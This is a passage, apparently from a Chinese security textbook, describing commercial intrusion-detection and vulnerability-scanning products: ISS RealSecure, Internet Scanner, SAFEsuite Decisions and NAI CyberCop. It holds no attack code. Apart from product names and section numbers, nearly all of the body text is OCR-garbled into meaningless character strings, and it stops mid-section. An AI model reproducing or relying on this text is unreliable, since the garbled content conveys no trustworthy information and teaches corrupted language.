B T B Real Secure FE: T M4 1 FI B B & AR K IR T AW | IF
£& T B InetnetScanner , LA J M %% %2 E 4 SAFEsuiteDecisions

10.1.1 Real Secure (LB} AZIMIZS)

LM AR UEIZSS RealSecure B — M H LR EM ML LT AR
R R A R A BT RS . RealSecure SLHT M ME A MM AL
BT BERAT R AT BN EEmNL, ERP RN REEZEE
& Z AT BV AT ERBUF L IR R A RAT R, 3R B IE IR P48 BER AT, A
T B KR B PR 2 UKL , (RPN PR I RGEE £

NetworkEngines (M%%5|%) & RealSecure B— N EEHME, BRI
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AR A M B, AR BB AN RREEAR, X ZHHA
{280 R BT M N, . Realsecure Engline BE#5R B B AR ER/ER
a4 IR 55 BUt R BAT R Bt BB | B U DL K 3
HEMHE,

10. 1. 2 Internet Scanner (HIEPIFIHEZS)

HEM {348 internet Scanner X P4 R & #1T B 3L &R
KA AT, 3 EEPITEBP X FETRBHZLENRE IR,
734h, Internet Scanner $RAT A€ FR B 35 143K 3l i) M 28 4= 00 , G048 XoF )
FEERS RIERSG BE 2% B TR . Web RS2 (Bl Kk 3% A b A
AR, TR BB AR E A RDRIEEHEA ML MR,

Internet Scanner 3 AJ 2 XK W B IR B, B LB TEHH
RMENNRH TR, IHERALTERR MU MERZEXNRE
B, B BE T B0 P 45 7 P i 8 K ) P 4 AR T A D B R

10.1.3 SAF Esuite Decisions (ZL2EMUFERSE)

ISS MIX MG R LB 1SS M EBMBH R Lnt i
BEME=ZFTHP ST ENBERELZSBRESR— AN, &
B RAAUDEEWEMS RS, TUERE TR LB
2

FF ISS Y SAFElink $ AR , B) B Zh33E ¥ £ , SAFEsuiteDecisions
AR MBIk R R KA. I TRAFAP & UER
Y FE A S48 {8 I SAFELink £ A N $088 RE 470 , I A
& SAFEsuites i FAREE o

EHEEZITMEBITHENR *15@]993?2%%&% RBE A
v BB E 2T ;4 1SS - Force W A1R PE TN 4F () AT 38 B M N 4% &
L% AT B A 5 SR R FISMER i 400 I 7E L Br P 4%
R 2 B XL Y A 4 e
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EREMELERNEERRE, REEPTFTEENNEEHEL
B, nsced B Bt & R 2R MBE 2 S AT
2 B3B3 Bl IBUE ; ik B 2 BRE P B ; A+ SAFElinkLoa
der A5k B T LEAE R4 097 5 40 ISS SAFEsuite Ji F I
BEHERNELE BBEE LB 3 SAFEsuite IV BERES,

10.2 NAI (PIZREXEE/ANF ) B> S

NAL (PIZ5B%
BN DR S T RS
SR IT REIER
R L |
FILA A,
CyberCop Intrusion —*’7"0’:
Protection( A 12 ##
FREE TR
BRA#H AR
FISEH R TR,
CyberCop Intrusion Protection I Z A #5 CyberCop Scanner(#3 %) .
CyberCop Monitor (Y28 ) B K=o

10.2.1 CyberCop Scanner (H#i73)

CyberCop Scanner 455 T F—HARKEETAMERMBRE RS
SEA, M R E RGBT U R R —FMERARE &
7 H o CyberCop Scanner K5k M4 IFE T HITEILRE S M
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